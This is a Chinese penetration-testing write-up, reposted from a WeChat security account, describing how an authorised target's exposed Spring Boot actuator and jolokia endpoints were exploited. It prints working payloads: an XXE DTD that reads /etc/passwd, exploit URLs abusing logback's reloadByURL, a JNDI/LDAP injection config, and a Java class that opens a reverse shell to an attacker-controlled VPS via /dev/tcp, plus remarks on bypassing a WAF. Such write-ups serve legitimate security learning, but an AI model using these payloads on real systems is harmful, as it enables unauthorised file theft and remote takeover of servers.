0x01 前言
记一次挖洞springboot未授权到反弹shell。起初,尝试了常见的弱口令爆破未果,接着通过分析系统的URL结构,发现了Spring Boot未授权访问的漏洞。在进一步测试后,发现了开放的actuator和jolokia端点,尝试利用XXE和远程代码执行漏洞成功读取系统的文件,并最终通过反弹shell获取了控制权限。
末尾可领取挖洞资料文件
0x02 漏洞发现
拿到授权的目标系统后,进入到一个登录页面。
先拿出admin/123456,admin/admin等弱口令尝试一下,那结果是今天没那么幸运
没有注册页面,想抓个包爆破下账户密码,看到这加密我放弃了
返回登录页面继续搜寻,看着一长串的url,中间部分让我突然感觉一阵熟悉,想到了spring boot未授权访问,刚好最近测过类似的站,尝试下。
拿出springboot漏洞检查小工具扫描,最终,在https://目标域名/acloud-oauth/下扫描出结果,页面显示actuator和jolokia等路由信息开放。
显示开启了jolokia端点且存在reloadByURL方法,那就准备开心的进行jolokia的xxe和远程代码执行漏洞利用。
构建一个xml文件:
<a>&trick;</a>
构建一个dtd文件,来读取目标系统的/etc/passwd文件内容:
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">
利用python开启一个简单http服务,用于调用vps上的xml和dtd文件
python3 -m http.server 80
构造访问链接:
https://目标域名/acloud-oauth/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/vps_ip!/gouzao.xml
复制构造的链接,放入浏览器进行访问,这页面,我瞬间脸都绿了,有waf给拦了,尝试绕一绕,折腾了半天,太菜了,还是给拦住了。
再次返回登录页面,翻翻js看看有没有啥其他收获呢,在末尾,发现3个子域名,为啥开始搜索引擎和工具都没扫出来这几个域名呀,看来这信息收集还是不到位。
访问下,返回401
通过扫描,也发现一些springboot actuator的路由信息。
再次尝试利用xxe漏洞,很幸运,没拦截,看来没waf,成功读取到系统的/etc/passwd文件内容。
接下来,利用代码执行漏洞进行反弹shell,构造exp,进行编译:
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-
c","exec 5<>/dev/tcp/vps_ip/12345;cat <&5 | while read line; do $line
2>&5 >&5; done"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new
InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
构造一个xml文件:
<configuration>
<insertFromJNDI env-entry-name="ldap://vps_ip:1389/JNDIObject"
as="appName" />
</configuration>
在vps上利用python启用一个http服务,将xml文件和exp文件放在该目录:
利用 marshalsec-0.0.3-SNAPSHOT-all.jar 启动一个 ldap 服务:
在vps上监听端口
构造访问的链接:
https://目标系统子域名/acloud-oauth/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/vps_ip!/exp.xml
获得反弹shell
0x03 最后
测试时一定要多尝试弱口令,利用未授权访问、XXE和远程代码执行漏洞,遇到WAF要多绕绕,信息收集一定要全面。喜欢的师傅可以点赞转发支持一下谢谢!
0x04
原文始发于微信公众号(渗透安全HackTwo):记一次挖洞springboot未授权到反弹shell|挖洞技巧
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论